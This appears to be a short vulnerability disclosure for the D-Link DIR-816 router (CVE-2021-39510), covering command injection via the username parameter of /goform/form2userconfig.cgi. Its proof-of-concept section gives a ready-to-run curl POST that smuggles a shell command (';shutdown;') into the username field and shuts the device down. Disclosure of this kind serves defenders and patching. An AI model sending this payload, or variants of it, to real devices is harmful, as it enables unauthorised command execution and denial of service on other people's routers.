doudoudedi update CVE ID History

1 contributor

22 lines (13 sloc) | 919 Bytes

report

Describe

I found some vulnerabilities in the dir-816 750m11ac wireless router ,**Firmware version is** DIR816_A1_FW101CNB04

The HTTP request parameter is used in the handler function of /goform/form2userconfig.cgi route, which can construct the user name string to delete the user function. This can lead to command injection through shell metacharacters.

If the user can configure the router, it may cause unconditional command execution If the user can configure the router, it may cause unconditional command execution.

https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10240

POC&&EXP

```
curl -i -X POST http://192.168.33.9/goform/form2userconfig.cgi  -d
"username=Admin';shutdown;'&oldpass=123&newpass=123&confpass=123&deluser=Delete&select=s0&hiddenpass=&submit.htm%3Fuserconfig.htm=Sen
```

Now it will shutdown

CVE ID

CVE-2021-39510